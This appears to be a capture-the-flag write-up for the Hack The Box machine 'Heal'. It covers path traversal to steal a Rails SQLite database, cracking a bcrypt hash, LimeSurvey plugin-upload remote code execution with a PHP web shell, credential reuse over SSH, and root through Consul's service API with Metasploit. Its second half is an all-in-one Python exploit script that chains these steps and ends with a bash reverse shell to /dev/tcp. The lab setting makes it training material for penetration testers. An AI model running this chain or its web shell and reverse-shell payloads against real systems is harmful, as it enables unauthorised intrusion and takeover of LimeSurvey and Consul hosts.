Skip to content

Heal

Port Scan

$ sudo nmap 10.10.11.46 -p- --min-rate=10000 -T4 -sCV

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Heal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

$ echo "10.10.11.46 heal.htb api.heal.htb take-survey.heal.htb" | sudo tee -a /etc/hosts

Heal.htb

alt text

alt text

alt text

LimeSurvey is an open-source survey tool.

alt text

https://cheatsheetseries.owasp.org/cheatsheets/Ruby_on_Rails_Cheat_Sheet.html

Sensitive files in Ruby Rail applications.

alt text

../../config/database.yml

# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

production:
  <<: *default
  database: storage/development.sqlite3

../../storage/development.sqlite3

alt text

Reproduce this request in browser and get the development.sqlite3 file.

alt text

username: ralph
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

147258369

[CVE-2021-44967] LimeSurvey RCE

A Remote Code Execution (RCE) vulnerability exists in LimeSurvey 5.2.4 via the upload and install plugins function, which could let a remote malicious user upload an arbitrary PHP code file.

http://take-survey.heal.htb/index.php/admin/authentication/sa/login.php

alt text

Use the ralph's credential to login and explore the plugins settings.

alt text

The zip file has to contain a config.xml file.

GitHub Y1LD1R1M-1337/Limesurvey-RCE

alt text

alt text

LimeSurvey Community Edition Version 6.6.4

Since our LimeSurvey is 6.6.4, need to change the version accordingly in the xml file.

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>Y1LD1R1M</name>
        <type>plugin</type>
        <creationDate>2020-03-20</creationDate>
        <lastUpdate>2020-03-31</lastUpdate>
        <author>Y1LD1R1M</author>
        <authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
        <supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
        <version>6.6.4</version>
        <license>GNU General Public License version 2 or later</license>
        <description>
        <![CDATA[Author : Y1LD1R1M]]></description>
    </metadata>

    <compatibility>
        <version>3.0</version>
        <version>4.0</version>
        <version>5.0</version>
        <version>6.0</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>

http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/shell.php

alt text

The main LimeSurvey configuration file is config.php. It's located in the /application/config/ directory within the LimeSurvey installation. This file contains settings for database connections, email configuration, and other system-level settings.

/var/www/limesurvey/application/config/config.php

db' => array(
                        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
                        'emulatePrepare' => true,
                        'username' => 'db_user',
                        'password' => 'AdmiDi0_pA$$w0rd',
                        'charset' => 'utf8',
                        'tablePrefix' => 'lime_',

Shell as Ron

ssh ron@heal.htb
password: AdmiDi0_pA$$w0rd

Privilege Escalation

$ ps -aux | grep "root"
root        1804  0.7  2.7 1359780 108588 ?      Ssl  May20   6:54 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d
root       23090  0.0  0.2 239656  8932 ?        Ssl  May20   0:00 /usr/libexec/upowerd
root       50656  0.0  0.0      0     0 ?        I    01:08   0:03 [kworker/0:0-rcu_gp]
root       51470  0.0  0.0      0     0 ?        I    01:38   0:02 [kworker/1:2-events]
root       51676  0.0  0.0      0     0 ?        I    01:43   0:00 [kworker/u256:3-events_power_efficient]
root       52367  0.0  0.2  17180 11028 ?        Ss   02:07   0:00 sshd: ron [priv]
root       52375  0.0  0.0      0     0 ?        I    02:08   0:00 [kworker/1:0-events]
root       52499  0.0  0.0      0     0 ?        I    02:08   0:00 [kworker/0:1-events]
root       52682  0.0  0.0      0     0 ?        I    02:12   0:00 [kworker/u256:1-events_unbound]
root       52842  0.0  0.0      0     0 ?        I    02:19   0:00 [kworker/u256:0-events_unbound]

$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8302          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8301          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8300          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8600          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8503          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN   

alt text

# search for running service
$ systemctl list-units --type=service --state=running

  UNIT                        LOAD   ACTIVE SUB     DESCRIPTION                                                 
  auditd.service              loaded active running Security Auditing Service
  avahi-daemon.service        loaded active running Avahi mDNS/DNS-SD Stack
  consul.service              loaded active running Consul Service Discovery Agent
.........

# Find the Service File Location
$ systemctl show consul.service --no-page | grep FragmentPath

FragmentPath=/etc/systemd/system/consul.service
$ ssh -L 8500:127.0.0.1:8500 ron@heal.htb
password: AdmiDi0_pA$$w0rd

alt text

Hashicorp Consul Remote Command Execution via Services API

alt text

use exploit/multi/misc/consul_service_exec
set RHOSTS 127.0.0.1
set LHOST 10.10.15.103
check
run

alt text

POC all in one for preparing OSWE

import argparse, requests, re, bcrypt
import zipfile
from io import BytesIO
from urllib.parse import unquote_plus

test_user={"username":"yingtest","fullname":"yingtest","email":"test@htb.com","password":"Test1234"}

proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}

def signup_user(target, session):
    url = f"http://api.{target}/signup"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
        "Origin": f"http://{target}",
        "Referer": f"http://{target}/"
    }

    response = session.post(url, headers=headers, json=test_user, proxies=proxies, verify=False)
    if response.status_code == 201:
        token = response.json()["token"]
        print("Create user succeed. User token is ", token)
        return token
    print("Create user failed.")
    return None

def extract_password_hash(target, session, token):
    url = f"http://api.{target}/download"
    params = {
        "filename": "../../storage/development.sqlite3"
    }
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
        "Origin": f"http://{target}",
        "Referer": f"http://{target}/",
        "Authorization": f"Bearer {token}"
    }

    response = session.get(url, params=params, headers=headers, proxies=proxies, verify=False)
    if response.status_code == 200:
        match = re.search("ralph@heal.htb(.*?)2024", response.text)
        if match:
            pass_hash = match.group(1)
            print(f"[+] Successfully extracted password hash: {pass_hash}")
            return pass_hash
        else:
            print(f"[-] Extracted password hash failed: {response.text}")
            return None

def crack_pass_hash(pass_hash):
    wordlist_path = "/usr/share/wordlists/rockyou.txt"
    try:
        with open(wordlist_path, "r", encoding="latin-1") as f:
            for password in f:
                password = password.strip()  # Remove newline
                password_bytes = password.encode('utf-8')
                try:
                    if bcrypt.checkpw(password_bytes, pass_hash):
                        print(f"\n[+] Password found: '{password}'")
                        return password
                except:
                    continue
                # Print progress (optional)
                print(f"\rTrying: {password[:50]}", end="", flush=True)
    except FileNotFoundError:
        print(f"[-] Error: Wordlist not found at {wordlist_path}")
    except Exception as e:
        print(f"[-] Error: {e}")
    return None

def admin_login(target, session, passwd):
    url = f"http://take-survey.{target}/index.php/admin/authentication/sa/login"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
        "Referer": f"http://take-survey.{target}/index.php/admin/pluginmanager?sa=index",
    }

    response = session.get(url, headers=headers, verify=False)
    YII_CSRF_TOKEN = unquote_plus(response.cookies.get("YII_CSRF_TOKEN")) # Decodes standard URL encoding 
    print(f"[+] YII_CSRF_TOKEN is {YII_CSRF_TOKEN}")
    data = {
        "YII_CSRF_TOKEN": YII_CSRF_TOKEN,
        "authMethod": "Authdb",
        "user": "ralph",
        "password": passwd,
        "loginlang": "default",
        "action": "login",
        "width": 1920,
        "login_submit": "login"
    }
    response = session.post(url, data=data, proxies=proxies, verify=False)
    if response.status_code == 200:
        print("[+] Ralph login succeed!")
        YII_CSRF_TOKEN = unquote_plus(response.cookies.get("YII_CSRF_TOKEN")) # Decodes standard URL encoding
        print("[+] Ralph YII_CSRF_TOKEN: ", YII_CSRF_TOKEN)
        return YII_CSRF_TOKEN
    else:
        print("[-] Ralph login failed.")
        return None

def upload_plugin(target, session, lhost, lport, YII_CSRF_TOKEN):
    zipfile_name = "Y1LD1R1M.zip"
    build_zip_file(zipfile_name)
    url = f"http://take-survey.{target}/index.php/admin/pluginmanager?sa=upload"
    with open(zipfile_name, 'rb') as f:
        file_content = f.read()
    boundary = "---------------------------425455098717253985162609657206"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Origin": f"http://take-survey.{target}",
        "Referer": f"http://take-survey.{target}/index.php/admin/pluginmanager?sa=index",
    }

    data = (f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="YII_CSRF_TOKEN"\r\n\r\n{YII_CSRF_TOKEN}\r\n'
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="lid"\r\n\r\n'
            f"$lid\r\n"
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="action"\r\n\r\n'
            f"templateupload\r\n"
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="the_file"; filename="Y1LD1R1M.zip"Content-Disposition: form-data; name="the_file"; filename="{zipfile_name}"\r\nContent-Type: application/zip\r\n\r\n').encode() + file_content + (
                f"\r\n--{boundary}--\r\n"
            ).encode()
    response = session.post(url, data=data, proxies=proxies, headers=headers, verify=False)
    if response.status_code == 200:
        print("[+] Install plugin.")
        url = f"http://take-survey.{target}/index.php/admin/pluginmanager?sa=installUploadedPlugin"
        data = {
            "YII_CSRF_TOKEN": YII_CSRF_TOKEN,
            "isUpdate": False
        }
        response = session.post(url, data=data, proxies=proxies, verify=False)
        if response.status_code == 200:
            print("[+] Triggering RCE....")
            url = f"http://take-survey.{target}/upload/plugins/Y1LD1R1M/shell.php"
            payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
            params = {
                "cmd":payload
            }
            session.get(url, params=params, proxies=proxies, verify=False)

def build_zip_file(zipfile_name):
    # Use BytesIO instead of StringIO for binary data
    with BytesIO() as f:
        with zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) as z:
            z.writestr('shell.php', '<?php system($_GET["cmd"]); ?>')
            z.writestr('config.xml', 
                       r'''<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>Y1LD1R1M</name>
        <type>plugin</type>
        <creationDate>2020-03-20</creationDate>
        <lastUpdate>2020-03-31</lastUpdate>
        <author>Y1LD1R1M</author>
        <authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
        <supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
        <version>6.6.4</version>
        <license>GNU General Public License version 2 or later</license>
        <description>
        <![CDATA[Author : Y1LD1R1M]]></description>
    </metadata>

    <compatibility>
        <version>3.0</version>
        <version>4.0</version>
        <version>5.0</version>
        <version>6.0</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>''')

        # Write the zip content to file
        with open(zipfile_name, 'wb') as zip_file:
            zip_file.write(f.getvalue())

if __name__=="__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help="Target URL, eg. heal.htb", required=True)
    parser.add_argument('-l', '--lhost', help="Local listener's IP", required=True)
    parser.add_argument('-p', '--lport', help="Local listener's Port", required=True)
    args = parser.parse_args()

    # add "heal.htb api.heal.htb take-survey.heal.htb" to /etc/hosts

    session = requests.Session()
    # signup a user
    token = signup_user(args.target, session)
    if token:
        # read ../../storage/development.sqlite3 to get ralph's password hash
        pass_hash = extract_password_hash(args.target, session, token)
        if pass_hash:
            passwd = crack_pass_hash(pass_hash.encode('utf-8'))
            if passwd:
                # login as ralph
                YII_CSRF_TOKEN = admin_login(args.target, session, passwd)
                if YII_CSRF_TOKEN:
                    upload_plugin(args.target, session, args.lhost, args.lport, YII_CSRF_TOKEN)

alt text

alt text